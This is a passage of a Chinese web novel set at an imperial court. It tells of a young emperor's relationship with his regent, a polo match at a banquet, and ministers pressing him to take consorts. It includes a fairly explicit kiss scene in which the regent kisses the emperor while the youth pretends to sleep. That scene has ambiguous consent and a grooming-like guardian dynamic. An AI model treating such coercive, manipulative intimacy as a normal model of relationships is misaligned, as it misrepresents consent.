男人眼神很沉,像是一场大雨来临前积压堆积的一大片乌云,阴郁凝固散不开。 宋南卿把眼泪蹭在他的衣服上,这里没有枯井、没有那些刀光剑影,所以缠绕在身体上理不清的线和那些放不下的谋划,都可以暂时放在一边。 至少这一刻只有这个吻是真的,是存在的,是真真切切可以感受得到的。 宋南卿收紧手臂抱住沈衡,听到对方沉声说:“下不为例。” 近在咫尺的胸腔震动连带着宋南卿的心脏一起共鸣,他抬起头扁着嘴又要哭,沈衡伸手覆盖住他的发顶,道:“没有别人,不会有别人。” “你保证。” “我保证。” 沈衡擦了擦少年脸上的泪水,轻叹一口气。 宋南卿安全感缺失,需要用一切办法来证明有东西是彻底受他掌控的才会放心,朝廷权势也是,沈衡这个人对他的独特性也是,他其实不懂感情,只是想要占有。 沈衡从小看他到大,对于他的性子最是了解,宋南卿对他的依赖可以说是自己一手培养出来的,他不能不靠什么来给他们两个之间搭建起一条不可斩断的线,这是羁绊更是牵制。是一张无形的网,温柔织就,等陷入其中的人反应过来的时候已经逃不脱。 否则他这个摄政王,靠什么来让长成猛虎的皇帝不斩杀他。 只是这份依赖有些变质和扭曲,明眼人都看得出不对劲,但有人自欺欺人、有人乐在其中。 凉掉的茶又重新上了一道,宋南卿已经洗漱完毕,散着头发穿着薄薄的寝衣半躺在床上,一手举着一张名单帖子看,一手枕在脑后。 刚刚那个棋局他又输了,一气之下说自己要就寝,等收拾妥当又睡不着了,拿出这次科考的进士名单来给沈衡瞧,询问他的意见。 前三甲最为重要,贾士凯明显不在其中,定的状元是那个神童郗渐,这也是翰林院那群人讨论斟酌了许久的结果。探花是一个熟悉的名字——阮羡之。 沈衡擦干头发也上了床,没在意名单上都有谁,反而拿出了玫瑰膏子要替宋南卿擦脸。 被热气熏过,少年柔软的脸蛋白里透红,刚刚又哭了一会儿,沈衡担心他脆弱易过敏的皮肤被泪水一激又出问题。 不知道这批玫瑰是不是换了品种,沈衡家里这罐刚刚开封,就闻到了香甜的味道。宋南卿仰着巴掌大小的脸,手里拿着一个方形金玉枕头滚来滚去,一副习惯了别人伺候的样子。 玫红色的膏体在指尖化开,第一下触碰到了颧骨,沿着脸部轮廓顺面颊向下,力度不轻不重,玫瑰特有的芬芳在房间里散开。 嗅觉会在记忆里留下独属于那段时间的印记,关于玫瑰膏子的记忆全都与沈衡有关,香甜、芬芳、馥郁,温柔的手指和单独安静的只属于他们两个的房间。独属于玫瑰的热烈和持久加上药膏的那一丝清凉辛辣,构成了全部回忆。 宋南卿突然转头,男人手指上化开的黏腻汁液一下子蹭到了他的嘴唇上。 亮晶晶的膏体给唇瓣添了艳色和光泽,饱满的唇珠像是含苞待放的玫瑰花芯,因为尝过,沈衡知道那会是什么滋味。 玫红色的膏体溢出嘴角,看起来像是涂了口脂又被人亲花,长得明艳就有这点不好,明明什么都没做但就自然有种勾引人的味道。 宋南卿睁着大大的眼睛无意识舔了下嘴角,然后皱眉露出了痛苦表情,“好难吃…呸!” 他一边吐着舌头一边让沈衡拿东西给他漱口,折腾了一盏茶时间才安稳躺下。 蜡烛吹灭,只有床尾两盏灯罩里的还在燃烧,宋南卿躺在床的里侧,偏头去看人,二人散开的发丝交缠在一起分不清彼此,身上这件寝衣是之前放在这儿的,他最近长得快,袖子穿起来有些短,露出一截莹白的腕子。 明明床很大,宋南卿偏偏要贴着人睡,一手按住被子,一手还要搭在人胳膊上,缠人的不得了。 许是适才喝多了茶,他现在毫无睡意,瞪着一双眼睛盯着床顶的横梁,明明很困,但精神却是兴奋的。 沈衡拒绝不了亲他,在为自己一点点放宽底线,意识到这一点,少年很兴奋。 宋南卿当然没有放弃那个计划,眼前的安全感只是一时,要想高枕无忧,必须得到沈衡的心,只有他不忍心对自己下手,把自己当成情感浓度过深而无法戒断的一部分,他才能真的安全,真的高枕无忧。 忽然感到旁边有动静,宋南卿连忙闭上了眼睛,把自己的呼吸调整均匀,装作入睡的样子。大概是多年的条件反射在作祟,他十三四岁的时候精力旺盛天天不想睡觉,一幅幅以前的画面浮现眼前。每次都被沈衡盯着入睡,防止他半夜爬起来又不知道在胡思乱想些什么。 所以宋南卿装睡的功力是经得过沈衡检验的。 被子在动,躺在旁边的人好像撑起身来不知道在干什么,发尾轻轻扫过脸,带来难以忍受的痒意。就在宋南卿准备睁开眼询问的时候,嘴角突然传来温热的触感。 湿的、软的、热的东西,像是蛇一样缓缓移动,从嘴角开始一点点朝里舔舐,令人头皮发麻的感觉升起,宋南卿的手在里面攥紧了被角,牙关被舔开了。 若有似无的水声细碎,他僵了许久才反应过来,那是从他唇齿之间发出来的声音。与之前那个轻柔的、一触即分的吻不同,这个亲吻更深、更重,带着压迫和掌控,连下唇都被吮吸到变形。 宋南卿腰眼发麻,忍不住往旁边偏头躲,但脖颈被握住,他被迫仰头迎接这个热烈又无声的吻,带着吞噬一切的气势,连舌头都被吸住舔舐。 很难形容现在的感受,他被亲的呼吸不畅挣脱不开,当对方舌尖划过敏感的上颚时,一股难以忍受的酥麻和颤栗让他差点叫出声。 沈衡好像把他当成了一个玩具,不紧不慢地吻,一点一点地尝,连湿软的口腔嫩肉都被仔细舔过,食指搭在宋南卿耳后微微用力,整个口腔和头颅像是串在一起,只能感受到唇齿相交的愉悦酥麻。 宋南卿攥着被角心脏跳得很快,舌尖都被吃的发麻,口水无法控制地朝外滴出,又被舔掉。 “咚咚”的心跳声震耳欲聋,宋南卿都担心对方能否听见自己明显不太正常的心跳。 这是什么意思……沈衡这是? 难道他成功了?沈衡真的爱上自己了?宋南卿被亲的头脑飘忽,沉浸在深深的吻中反应迟钝。 他只是按书上说的增加了一些肢体接触,不挑明只说暧昧不清的话,承认对方在自己这里的唯一性的同时找几个男人让沈衡吃醋增加危机感,和他相处的时候提高露肤度,装吃醋不断试探底线增加暧昧程度,确定对方喜欢的类型并不断朝那个方向靠近……而已。 但很快他就想不了那么多了,沈衡扣着他的下巴越吻越深,舌头几乎都要舔到喉咙里,被入侵的感觉很奇怪,像是要被吃掉。宋南卿被迫吞咽着对方的口水,小巧的喉结被指腹按着轻抖,他没有办法控制自己的吞咽,被动咽下口水,当喉口的小舌头被舌尖舔到的时候,被子里的脚趾瞬间蜷缩成一团,他整个人猛地一抖,泪水从眼角渗出。 沈衡轻轻抚摸着手下抖到不行的身躯,看见少年闭住的眼皮控制不住开了一条缝,露出一点翻白的眼球,睫毛根部都微微朝外翻出,看样子实在是忍得辛苦。 真可怜。 他的发尾扫过宋南卿的脸,声音飘忽:“想要这个是吗?确定你要对吗?” 宋南卿陷入崩坏的巅峰,底下湿了一片,但他现在在睡觉,睡的很沉,不能动、不能做反应,也听不到,只能忍,只能默认。 他真的不清楚沈衡到底知不知道自己在装睡,也不知道沈衡到底是什么意思。 但有一个念头慢慢从沉下去的心底升起。 他好像没成功,也没赢,他不是沈衡的对手,在爱情上更不是。 在宋南卿身上轻拍哄睡的动作很轻柔,但极度恐惧和兴奋的感觉慢慢从尾椎骨爬到后脖颈,他在注视着自己。 意识到这一点,宋南卿保持着静止大气也不敢出。 只能听见自己的心脏“扑通”,“扑通”。 第28章 第二十八章 狗就是狗 天气热了起来, 琼林苑樱桃园里的树结了果子,只是还尚青涩未全成熟。柳色箫声拂御楼,正是春日琼林宴, 今日天子亲自摆宴宴请新科进士, 九王也从重病中痊愈,干脆组织了一场马球比赛。既能看看新科进士的资质, 也是彰显天子与民同乐, 高官多作陪。 清早起, 仪鸾司人员就被差拨去负责宴会的吃食用度,流水般的果子、蜜煎、菜蔬、香药, 已经提前准备好。《礼记》曾云, “燕礼者,所以明君臣之义也。”此次宴会不只是对寒窗苦读的学子的嘉奖,更是维系皇权礼制的手段, 是以君臣上下一心, 起到教化施恩作用。 琼林苑是皇家园林, 一山一水一亭台都别具匠心。宋南卿坐在角亭里, 前面是仪鸾司分管宴会餐食的人, 低着头向他汇报宴饮餐单。 这种事本不用他过问,但在路过时看到魏进身形踉跄, 脸上还有些伤,就把他顺道带过来了。 “前阵子事儿办的不错,朕想着这次宴会若办的好, 一起赏你。”宋南卿坐姿随意,看着眼前嶙峋的石山随口道。随侍的五色旗盖停在一旁等着为他遮阴。 “为陛下分忧是奴才的本分,不敢居功。”面前人弯了弯腰。 仪鸾司指挥使已经被定了品级不低的官,但魏进始终记得自己来时路, 面对宋南卿依然自称奴才。这是自谦,也是为了表忠心,更是拉近和圣上关系。 仪鸾司侍卫是圣上的家奴,不管说出去品阶多高,威风多大,都会始终牢记这一点。 宋南卿轻笑,“最近得罪谁了,弄成这样。” 都说打人不打脸,魏进这张脸可是仪鸾司门面,弄的又青又紫的,这不是在打仪鸾司的脸吗? 前些日子王大年穿过禁军把守闯入宫门的事,引起宫中一众人讨论,最终是摄政王和贾良那边都罚了。作为查处这个案子的领头者仪鸾司,雷厉风行谁都不怕得罪,在京中一时之间掀起了不小的风浪,高官侯爵都想和他们拉近关系希望能探听到一些消息,是为了自保也是为了谋利。 毕竟在这个案子里,圣上对仪鸾司的看重是显而易见的,这一会儿说摄政王谋反一会儿说贾良栽赃,反正犯人扣押在仪鸾司诏狱,不是怎么说都行?最终犯人被毒哑案子不了了之,圣上也未对仪鸾司降下什么惩罚,明眼人都看清这里面不可说的利害关系。 仪鸾司这个位置,众人争先恐后拉近关系,这不是宋南卿想看到的,仪鸾司应该是他手里的暗刀利刃,人人敬而远之不愿与之接触的东西。 狗就是狗,不能变成狼,否则后患无穷。 “事未做好,受责罚是应该的。”魏进低头,毫无那个京里传的炙手可热雷厉风行的指挥使的派头。 他被摄政王暗里整了好一顿,原本搭上的高官以为他反手出卖,自己背上了双面间谍小人的罪名还没办法说,现在朝廷里那些官员已经开始骂自己是走狗了。 他以为是上次王大年案子遭摄政王记恨,其实真正的罪魁祸首却另有其人…… 宋南卿低头转着手上的佛珠,轻轻道:“朕前几日丢了一张帕子,你有没有见到过,角落里绣了朵花。” 魏进低垂的眼睛盯着地面没动,“奴才未见过。” “谁打了你打回去便是,有朕在你怕什么。”宋南卿勾了勾手指,“今日蹴鞠好好踢,腿还能踢吗?”他瞥了一眼魏进的腿。 “奴才必然竭尽全力。”仪鸾司的服装为了华丽美观,很是经过一番设计,既有气势又干练十足。魏进单膝跪在皇帝面前,二人的秘密低语没有第三个人能听到。 语毕,一个小瓷瓶被扔在了魏进脚边。 宋南卿起身离去,停候的华盖跟上了他的脚步,一群人浩浩荡荡在园子里穿行。 魏进拾起瓷瓶,打开之后是一股清凉的药膏味道。被皮质手套包裹的手指轻颤,把那个小瓷瓶揣进了怀里。 “陛下,时辰快到了,各位大人那儿已经都到的差不多。”春见低着头道。 “不急,让他们等着。”宋南卿抬手摘了一朵花,道,“你觉得魏进这人如何?” 春见想了想,道:“忠心是有的,只是有时不懂变通。” 宋南卿提起衣袍下摆上台阶,挥开了小太监想扶他的手,侧脸问:“九王到了?” 春见小心翼翼跟在他身旁,准备好随时扶他,生怕他又像上次一样踩裙摆摔倒,点头称是。 日上三竿,宋南卿到了宴会地点,宴会布置的十分有氛围,露天场地花红柳绿,十几个旌旗间隔排放随风扬起。中间一块马球场地已被打扫的干净又整齐,放眼望去翠绿柳枝和五颜六色的花沿着河边开放。正中间高台上的宝座空着,周围已经坐了许多人,大臣们正在热聊,与之相比较为拘谨的是新科进士们,他们首次跟宫内人交流就在这种场合,不免紧张。 龙袍下摆掠过高台台阶,礼乐声响起,众人忙起身跪拜。 宋南卿扶着春见的手在龙椅坐下,虚虚扫过众人身影,说了句免礼。 “许久不见九哥,朕实在有些想念,身体可已大好?” 桌上描金食盒里装着各色果子蜜饯,时令水果盛在琉璃碟子里鲜艳欲滴,宋南卿的视线穿过一颗如同翡翠般清透的葡萄,看向旁边的九王,微笑关切开口。 九王南幸刚过而立之年不久,丰神俊朗,说是大病初愈,看起来也确实有种病弱之感,今日浅色衣物一穿,的确有宋氏一族迤逦的影子,和宋南卿各有千秋。 他站起身朝宋南卿拱手,“都是陈年旧伤,没什么要紧的,谢陛下挂念。” 场上的新科进士正在进行马球热身赛,打的热火朝天,每个人都卯足了劲想在圣上面前留下好的形象。 “朕记得九哥的骑射可是父皇当年亲手教的,看他们玩的那么有意思,今日有没有兴趣和朕比试一番。”宋南卿抬眸,听见了一番委婉的推辞,轻笑道,“九哥是不是觉得马球这等小孩玩的东西没意思,不愿和朕比试?” 委委屈屈轻轻柔柔的语气像是撒娇,但又因为他的贵重身份,没有人真的可以把这句话当做玩笑一笑了之。 贺西洲发现场上氛围有些不对劲,想开口说话,被旁边坐着的贺勇摁住了。 南幸敛眸看向自己这个弟弟,这句似是跟兄长撒娇的话放在他二人身上的确不合时宜。小时候最不受宠在冷宫角落里被他们嘲笑欺负长大的弟弟,摇身一变现在做了皇帝,难道他们两个就真成了什么没有嫌隙的天家兄弟? 内侍提着茶壶在宴席席位之间穿梭,银质的雕花茶壶倾斜时,琥珀色的茶汤撞在杯壁上的声响,和远处传来的乐曲声合在一起,竟也动听。 沈衡放下茶杯,头顶的冠上镶嵌的宝石折射对面投射过来的阳光,他在烈猎猎旌旗下缓缓道:“陛下这是又看上九王什么东西了,想借着比赛的名义据为己有。”亲昵的话语把气氛调整了一个方向。 宋南卿托着下巴笑道:“就是九哥那个樱桃酒配方,朕之前可就一直好奇,听说是独门配方轻易不外传的,之前喝过一次,自从九哥不大出来就没喝过那等佳酿了。” “既然要比试,陛下也不能只盯着那佳酿,自己准备赌什么?”沈衡问。 宋南卿道:“朕和九哥可是一家人,当然是想要什么给什么了,只要能赢过朕。” 沈衡轻笑,对着南幸道:“陛下肯出血可不容易,九王可得抓住机会。前些日子因为丢了一个珐琅匣子生了好久的气,也就是你许久不出来,他才肯跟你比试一番,跟我可不会说那么多,那都是直接要。” 换而言之,陛下与你亲近是给你脸,更别提这比赛又不是不给你好处,没直接用身份压你已经不错了,别不识好歹。 如果以上位者的身份强迫压制,九王还有拒绝的由头,别人也会称一句不卑不亢。但现在这两人你一言我一语表面上说的是感情、谈的是私事交情,这就让他没办法拒绝。 球场上的热身赛已经进行到尾声,这场比赛的优胜者被选了出来参与皇上和九王的新一轮赛事。 宋南卿换上了一袭宝蓝色的便衣,一尘不染的雪白鞋底踩在脚蹬子上潇洒上马,回头看了一眼坐在上方并未下场的沈衡,微微抬起下巴,眼里尽是得意之色。 这段日子跟沈衡学骑射他进步不小,这翻身上马的派头利落干脆。他身量没有沈衡高,虽然一直说自己年纪还小还有长高的空间,但内心还是有种不妙的预感,他好像真的长不过沈衡。 有一次在练马场想骑一个高大的汗血宝马,结果他腿长不够翻不上去,看见沈衡在背地里憋笑,气的他练习了好几日上马。 现在这不是成效显著!宋南卿隔空瞪了沈衡一眼,看见对方歪了下头,双手轻抚给他鼓了个无声的掌。 这还差不多,宋南卿心想,收回自己的视线回到场上。 九王还是那副病弱的模样,一举一动尽显慵懒,手拽着缰绳冲宋南卿笑,身后带着贺西洲和几位队员,宋南卿打眼一瞧,看见了个还算熟悉的面孔。 阮羡之。 和前一次相见不同,作为新晋探花,他身上多了一分自信和光芒,没了之前困顿潦倒眼神无光的样子,想起第一次见面时那篇策论,宋南卿觉得此人的确是个可造之材,也足够争气。 赛场上的球门设置有两个,一南一北,双方列好队形等待发球。 随着开球的哨声刚刚吹响,宋南卿骑马起身一跃而起,抬起球杆捞到了首发权,赛场周围响起欢呼喝彩。他手中的棍子灵活如蛇,倾身一个击打把球抛到了半空。 胯下骏马飞快跑动,那个方向正是魏进所在方向,他们俩一抛一接配合默契,转眼间马球已经靠近宋南卿队的球门,马蹄声在草地上“哒哒”作响,九王靠近守门的位置,抬起胳膊准备阻挡,但力量不够被魏进一个灵活背身闪了过去,错失良机。 九王队里几个人都在策马围过去阻拦魏进进球,九王刚刚被轻而易举闪躲过去,感觉面上无光,恰巧魏进的马跑到他的身侧即将进球。 他策马灵活走位,找准角度轻轻一磕,弯腰侧身从地上把球往前一送,夺回球权。 宋南卿在一旁喊道:“魏进!你怎么回事!” 穿着深蓝色劲装的指挥使大人抬起球杆,一阵带着风的蛮力袭来,九王和他的球杆猛地相撞发出“砰”的一声巨响。巨大的震动引得马球往前滚落又弹起,撞到了魏进□□白马的马腹,引得骏马受惊快速往前飞奔。 魏进攥紧绳子控制方向,好巧不巧冲着九王的方向奔去。高头大马在空中扬起前蹄,整个掀起即将要撞翻九王的马,千钧一发之际,马鬃在空中甩动,惊险的画面在每个人眼中都像是放了慢动作。 “九哥!!”宋南卿睁大眼睛喊道—— 作者有话说:宋:不会带团队,只能干到死[墨镜] 第29章 第二十九章 二十多岁未成婚让人怜悯…… 宋南卿看见如此情景, 大喊一声九哥。九王瞳孔顿时缩小,抬腿夹紧马腹,身影敏捷快速反应, 用尽所有力气拉住缰绳, 悬崖勒马的气势生生调转了马头,抬臂御马的速度飞快。幸亏调转及时, 否则一定相撞。 那边魏进在二人的马即将相撞之际, 一个飞身跳到了九王的马上, 受惊的白马被周围的人控制住,有惊无险。 九王南幸飞快跳动的心脏还未停歇, 魏进从后方握住他的腕子借力, 稳住心神,道:“多谢九王救命之恩。” 察觉到贴上来的人,南幸猛地甩开他的手, 面色阴冷苍白。比赛场上有冲突和意外很正常, 宋南卿和魏进擦肩而过, 对了个眼神, 马球赛继续。 上半场结束, 两队比分咬的很紧。 “下半场换人,你别上了。”他对魏进说。本来腿就没好, 刚刚那一出肯定又伤了,既然今天的目的已经达到,知晓了九王真正的身体情况, 没必要让他带伤比赛,宋南卿可没把这位指挥使当一次性耗材。 其实魏进不想下场,毕竟能和陛下并肩作战默契配合的机会实在不多,但身份使然, 他除了接受命令没有别的选择。 在中场休息的时刻,阮羡之才看清楚这位皇帝陛下的脸,那一眼,让他如遭雷击。 剪裁得体的蓝色劲装把皇帝陛下衬托的尊贵又干练,他正站在桌子旁边喝水,一举一动都那么带有矜贵气息,周围服侍的人把他簇拥其中,每一根头发丝都像是自带光芒。和那个雨天对方翩然离去时绣着银线的衣摆一般,耀眼又抓不住。 那张脸,竟然是他心心念念的救命恩人、知遇恩人。 那日宋南卿从小巷里救了他,留下一袋银子,说如果没高中就不必见面。他发奋读书没有辜负所有人的期待,最终高中探花,但这个喜讯却无人诉说。 其实那日他从房间里冲出来看见宋南卿和男人接吻时,心中的念想就已经断了,只是在服饰店中看见那个男人带小倌买东西,又为宋南卿不值得,想要告诉他真相,思考会不会有那么一点点可能。毕竟他不是之前那个一穷二白的穷小子,他是新晋探花,他的前途似锦。 但如今,在今天再次见到宋南卿,开心和死心对半开。开心是因为他又遇见了这个人,死心是因为,原来他有那么大的福泽,救他的人竟然是当今圣上。 阮羡之远远地站在那里,望着宋南卿跟旁边那个男人说着什么,仰头笑意盈盈的样子很让人心动,那个男人正拿着手帕给他擦额头上的汗,姿态一如既往亲密。 他刚刚从别人口中得知,那个男人是摄政王。 摄政王……那么他和圣上之间到底是什么关系,引诱年幼的陛下依赖他、仰慕他,用这些手段便于控制陛下,然后转过头再在花花世界里畅游包小倌吗?他最近和共事之人闲聊,都说摄政王未娶妻也没什么流言绯闻,只有曾经在凤栖楼接人回府养着这种传言。 那陛下呢?不在意也不知道吗?还是惧怕摄政王的权势委身于他呢? 阮羡之攥紧了拳头陷入沉思 ,直到旁边的人拍他的肩膀才回过神。 “阮兄、阮兄!该上场准备了。” 下半场开始,皇帝队里的魏进换成了沈衡。摄政王亲自下场的震慑力激发了九王队里的好胜心。 那可是摄政王,在战场上有不败之神的战绩,如果他们能赢下这一局,是可以在外面吹一辈子的事情。 但话又说回来了,能不能赢是一方面,他们真的要让陛下输吗? 哨声吹响,沈衡骑着一匹纯黑色的马踏风而立,开场就是横扫千军的气势,草地上响彻着骏马奔驰的声音,马球在一个个人手中传递飞跃。宋南卿抢夺着贺西洲手上的球,你一来我一往刺激非常,很快就到了宋南卿队的球门前。 “西洲,是不是在东洋久不打球,你没有之前厉害了啊。”宋南卿擦边进球后抬起袖子擦了擦额角的汗道。 贺西洲笑了笑,“陛下技术精进非常,想必没放松练习。” 宋南卿抬眼在日光下看他,只觉短短几月不见,贺西洲像是变了许多,明明之前还和他并肩坐地上喝酒玩闹,现在倒是说这种疏离奉承的话了,于是转而瞪眼道:“你敢取笑朕?” 耳边一阵风声传来,贺西洲和他擦肩而过,马下球被他以一个刁钻的角度击打而出。 “陛下,兵不厌诈!”看着贺西洲远去如风的背影,宋南卿不知为何在心里松了一口气,还好只是诈,贺西洲还是和以前一样没变。他真的不喜欢身边人都变成小心翼翼捧着他,不敢与他玩笑和没办法说知心话的样子,太无趣了。 球场上时间一点一滴过去,最后一筹定胜负之时,沈衡已经拿着球杆到了球门之前,没料贺西洲从远处冲过来势必要夺下这一球,二人的杆子在地面你追我赶绕着球击打,发出阵阵清脆的撞击声。 在不远处的阮羡之找准机会朝中间一捞,球权被他掌握,眼见沈衡要追,他跑马拉开了距离,混乱中他没有射门,而是把球朝宋南卿的方向一送,球滚落到了人杆前。 宋南卿骑在马上一愣,随即奋力跃起,赶着压哨前几瞬,挥杆一击,在哨声吹响时,球正好进网。 他赢了。 同队的人赶来和他庆贺,宋南卿瞥了一眼阮羡之,对方站在那里文质彬彬的样子未见异样。 宋南卿收回目光和沈衡一起回到宴席之上。 九王举起酒杯恭贺宋南卿赢下这一局,周围大臣也说了一箩筐好话称赞陛下英勇神武,宋南卿喝了好几杯,然后转头看了看沈衡,眸子里水光闪动。 兵部尚书起来敬酒的时候,被沈衡拦下了,后来敬酒的人都被沈衡挡了回去。摄政王从不饮酒是人人都知道的事,这样一个人突然起来说“陛下不胜酒力,要不本王跟你喝。” 何其惊悚。 宋南卿掩饰住偷笑,恢复严肃。一抬手,全场安静。 “这场赛事本就是朕和九王的玩笑,但朕看到了诸大臣、新科进士的精神风貌,值得嘉奖。不论输赢,通通都赏。” 浙江今年桑蚕丰收,浙江巡抚派人进贡了不少丝绸来,连着送了一些歌舞乐伎,江南烟雨里培养出来的乐曲调子别有一番韵味,中间边弹琵琶边唱曲的乐姬声音清脆婉转,一双眼睛忽而低垂,后又缓慢抬眸随着歌曲摆头,水润的眼前虚虚望向坐在中间的宋南卿,歌声动听又充满了情致。 宋南卿睫毛微垂,没和那个乐姬对上视线。酒水在杯子里摇曳晃动,他和贺西洲谈论着在东洋的见闻,对方偏偏说要不是最后他那个球滚落,宋南卿也赢不了那么畅快,非要陛下给特别嘉奖。 宋南卿伸出手指对他指了指,道:“你这意思是你帮了朕?朕可不知道你是在九哥队里的卧底啊。” 他的眼神和九王交汇,平静无波的眸子不知何时就在望向他,今日九王南幸虽然看起来病弱,但样子却冷肃,像一柄收进鞘的剑,接收到目光,又勾唇朝宋南卿露出一个淡淡的笑。 “本王也不知道西洲竟是卧底,那输了倒也情有可原,但陛下提前把我队里的人收编,该给些补偿才是吧。”南幸似是意有所指。 宋南卿的手指握着酒杯,指尖正在底部轻敲,瞥了一眼阮羡之,道:“许久不与九哥相聚,朕今日心情好,想要什么补偿说便是。” 九王放下筷子,望向不远处的旌旗道:“我这个身子我自己清楚,以后是上不了战场了,也不知道能活多久,现在出来是怕自己再不出来和大家见面,以后就没有机会了。” 宋南卿皱眉道:“九哥,别说这些丧气话。” “陛下听我说完,之前一直闭门不出是我伤没养好,也是因为当年落败我不知如何面对,但今日看朝廷人才众多,在陛下的治理下蒸蒸日上,我的愧疚感才淡了一些。” “对将士们我还是有感情放不下,我对他们有愧,希望陛下能准许臣在得空的时候看上一二,远远看上一二便好。” 宋南卿凝眸盯着他,心想装柔弱卖惨这招你还真是比我会,不愧是朕一脉相传的亲哥哥。装什么装,那半块虎符不是还在贺勇那里,在贺勇那儿不就是在你那儿,毕竟你俩可是过命的交情,现在这一出不就是想说,虽然你九王出来不避世了,但希望贺勇那块虎符别被收回去,让你还能接近,防止他宋南卿之后找由头收回吗?这一招未雨绸缪加卖惨真是丝滑。 桌上的席面换上了一些时令水果,宋南卿拿银叉叉起一块切好的果子放入嘴里,嚼了半天才开口:“朕没什么意见,只是还要看摄政王怎么说。” 沈衡意味深长看了他一眼,还未说话,就听见九王一声:“臣谢陛下体恤。” 沈衡冷哼一声,这顺杆子爬的样子还真是一如从前,一点没变,让人生厌。 台上曲调变了个风格,中间那名乐姬被簇拥着极尽嫣然之态,袖子甩出去又收回来,把在场一些大臣的心神也一并勾去了。 贾良就浙江巡抚今年税收之事发表了一番庆贺之词,宋南卿点头嘉奖。 “桑稻并行一事,多亏小女筹谋。”浙江巡抚行一礼。 宋南卿有些诧异,听他讲了种种缘由,后道:“既如此,李卿的女儿想要什么嘉奖?” “小女在此,一心仰慕圣上,只想常伴圣侧,能为陛下平日分忧解难。”李巡抚之女盈盈拜倒,正是刚刚技艺高超的舞女。 宋南卿不语,转头看向沈衡。 沈衡幽深的眼睛看向李巡抚,笑里藏刀的表情让他想起沈衡早年间在战场的传奇故事,那是能止小儿夜啼的恐怖,近几年做文臣久了,斯文的样子一时让人忘却了早年他是个什么样的人。 贾良和李巡抚对视一眼。 这是没看上眼?还是宋南卿年纪小了,根本不懂男女之事。沈衡把持着陛下的内宫,他送不进人去。宋氏一族从太祖起,就有爱好美色后宫荒淫的缺点,各位皇帝王爷多多少少都沉迷于此,不可能到宋南卿这里就是例外。 贾良眯着眼睛注视着沈衡,还是年轻了,他靠控制后宫控制了先帝,与其拖着,不如提前安排好人把宋南卿伺候舒服,到时候太子生母是自己人,吹枕边风的私下里也是自己人,荒淫无度亏空了身子,何愁小皇帝不听话呢? 一介武夫,当了摄政王了也还是不懂变通,不过一想起沈衡二十多岁了还未成婚,贾良看他的眼神带上了几分怜悯,继而道: “离陛下加冠只有数月,陛下不喜欢不要紧,但选秀充实后宫之事需得提上日程。”贾良语气真诚,看了眼沈衡,“这些事本需礼部操心不必臣多言语,只是若有心之人不上心,于大盛基业、绵延长久实在不是件幸事。” 宋南卿冷着一张脸,问沈衡:“那礼部是何意见?” 葡萄纹彩釉餐盘里装着被叉子捣烂的一枚提子,宋南卿手握银叉,手指用力到泛白,眼神一动不动盯着沈衡—— 作者有话说:贾良:催婚唠叨先结了再说哇啦哇啦 宋:[抱抱](是掐不是抱) 第30章 第三十章 三角形视线落点法 远处一阵风吹过, 河对岸的柳枝随风摇摆,桃花妖艳花瓣飘落,落在河面上荡起一圈又一圈的涟漪。清澈见底的河水缓缓流淌, 绿的柳叶和红的花瓣交叠在一起分不清你我。 全部人的目光都若有似无看向摄政王, 想知晓他的意思。 沈衡沉默了一会儿,端起茶杯道:“的确该选。” 这一句话像是放开了什么限制, 众人纷纷松了一口气, 都开始琢磨家中适龄的女子, 一朝入宫如果能被选为皇后实在是光耀门楣,如果不能, 做个妃子若能生下个皇子公主也是幸事, 毕竟陛下的第一次选秀,位分肯定不会给低。 贾良眸光一闪道:“既然如此,皇后人选选择就该提上日程, 在陛下生辰礼时如果能和封后大典同日举行, 简直是双喜临门、福泽深厚。” “陛下第一次选秀的规格必不能马虎, 如果不通知科尔沁和南部小国, 不免会让他们觉得我朝轻视, 他们选择女子也需要些时日,须得早点定下来通知他们要紧。” “这还是我朝第一次大选, 制度礼法沿用前朝还是要再创新,需陛下定夺。” “既要立后,皇后宫殿也要开始修葺, 这是一个不小的工程,如要在生辰礼前完工,陛下……” “砰!”的一声,桌上的酒杯被宋南卿摔到了地上, 清脆的玉器摔碎声让人心里一惊,酒水流了一地。原本你一言我一语喋喋不休的大臣也停下口舌。 风还是轻柔舒缓,吹得垂柳在水面轻晃,大臣从近到远缓缓跪地,一言不发。 宋南卿胸口微微起伏,手指攥紧,指着面前的大臣说:“你们是觉得朕的生辰礼是什么值得纪念的日子对吗?当年朕出生时发生什么,你们不比朕清楚?” 当年他只是一个呱呱坠地的婴儿,因为腿根那朵艳红的胎记犯了先帝忌讳,贾贵妃本想母凭子贵结果被打入冷宫,他的出生并不值得庆贺,反而是长达几年冷宫生活的开端。他当年是婴孩对这些不清楚,这群大臣可是清楚的很。 “朕何时说过要立后了?何时同意要选秀了?”他瞪了沈衡一眼,“再催,加冠礼朕也不办,你们好自为之。” 说罢他就甩手离去,没给任何一个人面子。 以贾良为首的几位大臣面面相觑,低声议论:“陛下这是生的哪门子气,我怎么看不懂。” “陛下哪里是跟咱们生气。”一个年近四十的大臣用下巴指了指沈衡,降低了声音说,“跟那位置气呢!” “我之前就从小道消息听说摄政王一直不肯放权让陛下亲政,也看着不让后宫进人,现在肯了陛下怎么反而不高兴了,这是放权之兆啊!” 立后大典举行后,皇帝才是真正意义上独立,组建新的后宫,建立自己的外戚势力,可以说从这个时候起才是真正揽权从政的开始。那时候摄政王的身份就尴尬了,也没现在那么师出有名,毕竟小皇帝都成家了,他还有什么名头摄政不放。想来想去他都没办法揣度陛下的心思。 那人凑近跟他密语几句,引得他露出不可置信的表情。 “陈兄,话可不能乱说吧。” “你不知道?前阵子陛下处置了他宫里一个内侍官,就是因为摄政王多看了两眼引得他不高兴。” “怪不得,你说摄政王到现在还不娶妻,他是不是就是为了……” “哎!慎言慎言。” 二人一起转身离开,阮羡之在后头听了个真切,垂眸压下眼中情绪。在另一侧,以贾良为首的一众人也在讨论这事。 整个文官集团都是利益共同体,他们或许会因为内部利益分配不均而相互攻击、疏远,但在外界威胁出现时,却是一致对外的。文官之所以把持朝廷,靠的就是仁义礼智信这等道德约束,学而优则仕是不能变的教条,皇帝择大臣之亲女入后宫加强与前朝的联系也是不能变的教条。 如果后者被冲破了,那离前者被冲破也就不远了,他们不能允许这个改变,因为整套规则是文官控制朝廷所依赖的全部基础,一丝一毫也不能被改变。 这个时候没有什么贾郗之争,也没有老牌氏族和新进官员的区别,只要陛下还能受教条控制按部就班,他们就完不了,怎么也能分点肉吃,但如果陛下受什么人蛊惑,离经叛道,皇帝不受控制还是其次,他们的立身之本消失才是重点。 "摄政王到底是什么意思?以退为进还是真的同意立后。" 